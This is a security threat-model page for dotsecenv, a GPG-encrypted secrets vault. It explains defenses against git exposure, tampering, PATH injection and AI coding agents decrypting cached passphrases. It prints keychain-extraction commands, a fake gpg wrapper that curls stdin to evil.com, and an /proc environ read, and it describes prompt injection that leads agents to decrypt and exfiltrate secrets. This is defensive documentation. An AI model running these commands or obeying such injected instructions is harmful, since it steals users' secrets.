Skip to content

Threat Model

This document describes what threats dotsecenv protects against and its security boundaries. For details on the cryptographic mechanisms, see the Security Model.

The primary threat model. Secrets are encrypted in the vault file, so committing it doesn’t expose plaintext.

Terminal window
git add vault # Safe—secrets are encrypted
git push # Only encrypted blobs pushed

An attacker who obtains the vault file cannot read secrets without the private keys.

If someone accesses your filesystem (backup, shared drive, stolen laptop), they see only:

  • Encrypted vault entries
  • Public key metadata (fingerprints, UIDs)
  • Timestamps

No plaintext secrets.

Every vault entry includes a cryptographic signature. If someone modifies an entry:

Terminal window
dotsecenv validate
# Error: signature verification failed for entry 42

The signature is created with the originator’s private key, so:

  • You know who created each entry
  • You can detect modifications
  • There’s non-repudiation for audits

The config file specifies minimum algorithm requirements:

approved_algorithms:
- rsa:3072
- ecdsa:p384
- eddsa:ed25519

dotsecenv refuses to encrypt/decrypt with weaker algorithms.

In SUID mode, dotsecenv blocks write operations to prevent privilege escalation attacks. Read operations only.

AI coding assistants, build scripts, and other automated tools may attempt to read secrets programmatically. dotsecenv emits a warning when decrypting secrets in non-interactive terminals:

Terminal window
warning: decrypting in non-interactive terminal; for better security, configure GPG to require passphrase entry (https://dotsecenv.com/concepts/threat-model/#automated-secret-exfiltration)

The only robust defense against automated local secret exfiltration is user presence verification via GPG pinentry. Configure your GPG agent to never cache your passphrase:

~/.gnupg/gpg-agent.conf
default-cache-ttl 0
max-cache-ttl 0

This forces manual passphrase entry for every decryption operation, which automated tools cannot provide without higher privileges (e.g., root access or window server access to inject keystrokes).

AI coding agents (Claude Code, GitHub Copilot CLI, Cursor, etc.) run shell commands as subprocesses of your terminal session. This creates a specific threat surface for GPG-encrypted secrets:

How agents interact with GPG pinentry:

AI agent Bash tools typically spawn subprocesses with stdin connected to /dev/null and no controlling terminal. This means:

Pinentry ProgramAgent Can Trigger Decryption?Why
pinentry-mac (macOS)Yes, if passphrase is cached in Keychain or gpg-agentGUI-based; checks Keychain silently before showing any dialog
pinentry-gnome3 (Linux)Yes, if passphrase is cached in GNOME Keyring or gpg-agentGUI-based; checks keyring before showing dialog
pinentry-qt (Linux)Yes, if cachedGUI-based
pinentry-ttyNoRequires terminal input; fails with “Operation cancelled” when there is no controlling terminal
pinentry-cursesNoRequires terminal input; fails with “Inappropriate ioctl for device”

Terminal-based pinentry programs (pinentry-tty, pinentry-curses) fail because the agent’s subprocess has no controlling terminal — /dev/tty returns “Device not configured”. Even when GPG_TTY is set to the parent terminal, the agent’s terminal renderer is already reading from that device, creating input contention.

GUI-based pinentry programs work because they open their own window, independent of terminal state. When the passphrase is already cached (in gpg-agent memory, macOS Keychain, or GNOME Keyring), the GUI dialog never appears — the passphrase is returned silently.

The critical risk: once cached, any process can decrypt. When a passphrase is cached in gpg-agent or an OS keychain, any process running as your user can invoke gpg --decrypt without interaction. This includes AI agents, build scripts, postinstall hooks, and malicious dependencies.

Beyond triggering GPG decryption indirectly, an attacker with code execution can extract the plaintext GPG passphrase directly from the OS keychain:

macOS (Login Keychain):

Terminal window
# Extracts plaintext passphrase with zero user interaction
security find-generic-password -s "GnuPG" -g

The macOS Login Keychain unlocks when the user logs in and remains accessible to all processes running as that user. While keychain ACLs can restrict which applications can use stored credentials for cryptographic operations, the security CLI (an Apple-signed system binary) can retrieve password values directly.

Linux (GNOME Keyring):

Terminal window
# Extracts stored secrets via D-Bus
secret-tool lookup xdg:schema org.gnupg.Passphrase

GNOME Keyring and KDE Wallet have similar session-scoped unlocking — once unlocked at login, any user process can query stored items via D-Bus.

Add no-allow-external-cache to your GPG agent configuration to prevent pinentry from storing passphrases in the OS keychain:

~/.gnupg/gpg-agent.conf
no-allow-external-cache

This ensures that passphrases are only held in gpg-agent’s in-memory cache (governed by default-cache-ttl and max-cache-ttl) and are never written to persistent storage that other processes can query.

After adding this option, delete any existing keychain entries:

Terminal window
# Repeat until "could not be found"
security delete-generic-password -s "GnuPG"

Then reload gpg-agent:

Terminal window
gpgconf --reload gpg-agent

For environments where AI agents or automated tools may run, balance security and usability:

~/.gnupg/gpg-agent.conf
# Use a GUI pinentry appropriate for your platform:
# macOS: pinentry-program /opt/homebrew/opt/pinentry-mac/bin/pinentry-mac
# Linux: pinentry-program /usr/bin/pinentry-gnome3
# Passphrase expires after 1 hour of inactivity
default-cache-ttl 3600
# Hard cap: passphrase must be re-entered after 4 hours regardless of activity
max-cache-ttl 14400
# Prevent pinentry from storing passphrases in OS keychain
no-allow-external-cache

For maximum security (e.g., production secrets), set both TTLs to 0 to force passphrase entry on every operation.

For convenience during development, the 1hr/4hr configuration above ensures that:

  • You enter your passphrase at most once per work session
  • The passphrase is never persisted to disk or OS keychain
  • An AI agent can only decrypt while the cache is warm (limited window)
VectorDescriptionMitigation
Direct decryptionAgent runs dotsecenv secret get or gpg --decrypt while passphrase is cachedShort cache TTLs; no-allow-external-cache
Keychain extractionAgent runs security find-generic-password (macOS) or secret-tool lookup (Linux)no-allow-external-cache; delete existing keychain entries
Prompt injectionMalicious content in repo files, issues, or fetched URLs instructs the agent to decrypt and exfiltrateAgent-side guardrails; do not grant agents blanket tool permissions
Supply chainMalicious postinstall script in npm/pip/go dependency runs GPG commandsShort cache TTLs; audit dependencies; use hardware tokens
ExfiltrationAgent pipes decrypted values to external URLs via curl/wgetNetwork monitoring; agent tool restrictions

For keys protecting high-value secrets, use a hardware token (YubiKey, Nitrokey, etc.) configured to require physical touch for each cryptographic operation. This is the strongest defense against automated exfiltration because:

  • No passphrase is stored in software — the private key never leaves the hardware
  • Each operation requires physical presence (touch the device)
  • Software-only attacks cannot bypass the touch requirement

To protect secrets stored in .secenv files from unauthorized decryption:

  1. Use the shell plugin to decrypt secrets only when entering the directory.

This ensures secrets are kept in environment variables (memory) rather than decrypted to disk. While effectively mitigating file theft, note that this is still vulnerable to Environment Snooping if an attacker has root/process access.

dotsecenv supports configuring an absolute path to the GPG executable via gpg.program. This provides several security benefits:

When GPG is resolved via PATH, an attacker who can influence the PATH environment variable can redirect all cryptographic operations to a malicious binary:

Terminal window
# Attacker prepends malicious directory to PATH
export PATH=/tmp/evil:$PATH
# Creates fake gpg that steals secrets
cat > /tmp/evil/gpg << 'EOF'
#!/bin/bash
# Log all arguments and stdin to attacker
curl -X POST https://evil.com/steal -d "$(cat)"
# Then call real gpg to avoid detection
/usr/bin/gpg "$@"
EOF
chmod +x /tmp/evil/gpg
# Now dotsecenv unknowingly uses the malicious gpg
dotsecenv secret get DATABASE_PASSWORD # Secrets exfiltrated!

With an absolute path configured, this attack fails:

gpg:
program: /usr/bin/gpg # Always uses this exact binary
BenefitDescription
PATH injection preventionAttackers cannot redirect GPG operations by modifying PATH, shell configs, or placing malicious binaries earlier in the search path
Deterministic executionThe same binary executes regardless of shell configuration, environment state, or current working directory
Multi-version isolationSystems with multiple GPG installations (Homebrew, system, MacPorts) always use the explicitly configured version
Audit complianceSecurity teams can verify exactly which binary handles cryptographic operations
Container safetyWorks reliably in containers where PATH may be minimal or misconfigured
CI/CD reproducibilityDifferent runners with different PATH configurations still use the same GPG binary

An absolute path can point to a wrapper script for additional security controls:

/usr/local/bin/gpg-audited
#!/bin/bash
# Wrapper that logs all GPG operations
LOG_FILE="/var/log/gpg-audit.log"
echo "$(date -Iseconds) USER=$USER CMD=gpg ARGS=$*" >> "$LOG_FILE"
# Optional: Block dangerous operations
if [[ "$*" == *"--delete-key"* ]]; then
echo "Error: Key deletion blocked by policy" >&2
exit 1
fi
exec /usr/bin/gpg "$@"
gpg:
program: /usr/local/bin/gpg-audited

This enables:

  • Audit logging of all cryptographic operations
  • Policy enforcement (block certain operations)
  • Integration with hardware security modules (HSMs)
  • Rate limiting to prevent abuse

For security-sensitive environments, configure an explicit gpg.program path:

gpg:
program: /usr/bin/gpg # Explicit path recommended

This prevents accidental reliance on PATH resolution.


An attacker with root access to your system can:

  • Read process memory
  • Intercept GPG passphrase entry
  • Access decrypted secrets in environment variables
  • Attach debuggers to running processes

Mitigation: Full-disk encryption, secure boot, hardware security modules (HSMs).

If your GPG private key is stolen, the attacker can:

  • Decrypt any secret encrypted to your key
  • Impersonate you (create signatures)
  • Access historical vault entries

Mitigation: Strong passphrase, hardware tokens (YubiKey), key rotation.

Once a secret is decrypted and set as an environment variable, any process can read it:

Terminal window
# Other processes can see this
cat /proc/$$/environ | tr '\0' '\n' | grep SECRET

Mitigation: Minimal scope, process isolation, containers.

Timing attacks, cache attacks, and other side-channel techniques are out of scope:

  • Requires specialized hardware/software
  • Mitigated at the GPG/OpenSSL layer
  • Defense in depth with secure infrastructure

Current public-key cryptography (RSA, ECC) is vulnerable to quantum computers:

  • Shor’s algorithm breaks RSA/ECC
  • AES-256 remains strong (Grover’s algorithm halves effective key size)

Mitigation: GPG is working on post-quantum algorithms. When available, dotsecenv will support them.

dotsecenv trusts the system clock. Timestamps in vault entries can be manipulated by setting system time before storage.

This is acceptable because:

  • Attackers can’t modify existing entries (signatures prevent this)
  • Consumers can choose to trust/distrust specific fingerprints
  • The primary use case is developer workflows, not forensic timestamping

The vault is designed to be safe in public repositories:

  • All secrets encrypted with AES-256-GCM
  • Session keys protected by GPG public-key encryption
  • No plaintext secrets in any entry
  • Public keys and fingerprints are not sensitive

However, defense in depth recommends:

  • Private repositories when possible
  • Access control at repository level
  • Regular key rotation

ThreatProtected?Notes
Git exposureYesEncrypted at rest
File theftYesRequires private key
TamperingYesSignature verification
Weak algorithmsYesConfig-enforced minimums
PATH injectionYesConfigure absolute gpg.program path
Stealth network egressYesHermetic e2e with dual verification
Automated exfiltrationPartialpinentry + no-allow-external-cache + short cache TTLs
AI agent decryptionPartialGUI pinentry bypasses when cached; use hardware tokens
Keychain extractionPartialno-allow-external-cache; delete existing entries
Root accessNoOS-level compromise
Key theftNoGuard your private key
Env snoopingNoPost-decryption risk
QuantumNoFuture GPG update